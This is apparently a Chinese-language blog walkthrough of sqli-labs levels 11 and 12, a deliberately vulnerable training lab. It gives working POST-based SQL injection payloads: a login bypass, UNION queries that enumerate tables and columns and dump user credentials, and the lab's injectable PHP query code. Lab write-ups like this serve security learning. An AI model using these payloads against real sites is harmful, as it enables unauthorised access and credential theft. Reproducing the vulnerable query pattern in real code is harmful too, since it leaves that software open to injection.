sqli-labs:Less 11 12

Less 11 和 12 网页都提供了一个登陆界面,注入的基本思想和步骤与 Less 1 ~ 4 相同,这里需要使用 POST 方法提交参数。

Less 11

基于错误的POST型单引号字符型注入

判断注入类型

首先尝试下这个网页的正常用法,输入一个正确的用户名和密码试试,网页显示登陆成功。

接下来直接在 “Username” 中直接注入单引号,网页返回报错信息,说明存在 Sql 注入。

注入万能密码试试,用户名随便写点东西,使用 OR 运算符构造恒真条件,使用 “#” 注释掉后面的内容注入。网页提示我们注入成功,由于此处使用的是单引号闭合,因此这里是字符型注入。

a' or 1 = 1#

使用hackbar加载,看到网页是通过 POST 方法提交参数,提交的参数如下。

uname=&passwd=&submit=Submit

image-20240814162907403

获取数据库信息

判断表有几列,使用 ORDER BY 子句进行排序看下对几列有效。输入2时对返回的结果排序,网页返回正常,输入3时报错,说明一共有 2 列。

uname=a' or 1 = 1 order by 2#&passwd=&submit=Submit

爆数据库名,首先注入错误的用户名和密码,使其找不到数据。使用 UNION 进行联合查询,查询成功把数据库名接到网页回显的地方。

uname=a&passwd=a' union select database(),1#&submit=Submit

image-20240814163605196

爆表名,使用联合查询在 “information_schema.tables” 中查询表名,表名来自 “security” 数据库。

passwd=1&submit=Submit&uname=a' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#

image-20240814164026547

爆字段名,使用联合查询在 “information_schema.columns” 中查询表名,字段名来自 “security” 数据库的 “users” 表。

passwd=1&submit=Submit&uname=a' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#

image-20240814164331007

获取目标信息

接下来爆出 users 表中的用户名和密码,构造出 payload 如下。

passwd=1&submit=Submit&uname=a' union select 1,group_concat(concat_ws(':',username,password)) from security.users#

image-20240814165221059

关卡SQL查询语句

@$sql = "SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
//echo '<font color= "#0000ff">';

echo "<br>";
echo '<font color= "#FFFF00" font size = 4>';
//echo " You Have successfully logged in\n\n " ;
echo '<font size="3" color="#0000ff">';
echo "<br>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "<br>";
echo "</font>";
echo "<br>";
echo "<br>";
echo '<img src="../images/flag.jpg" />';

echo "</font>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}

Less 12

基于错误的双引号 POST 型字符型变形的注入

判断注入类型

通过常规测试,可知网页存在字符型注入漏洞,并且使用双引号和括号进行闭合。

a") or 1 = 1#

获取数据库信息

Less 12 仅对字符的闭合方式不同于 Less 11,注入的方式完全相同。

获取目标信息

同Less11

关卡SQL查询语句

$uname = '"'.$uname.'"';
$passwd = '"'.$passwd.'"';
@$sql = "SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);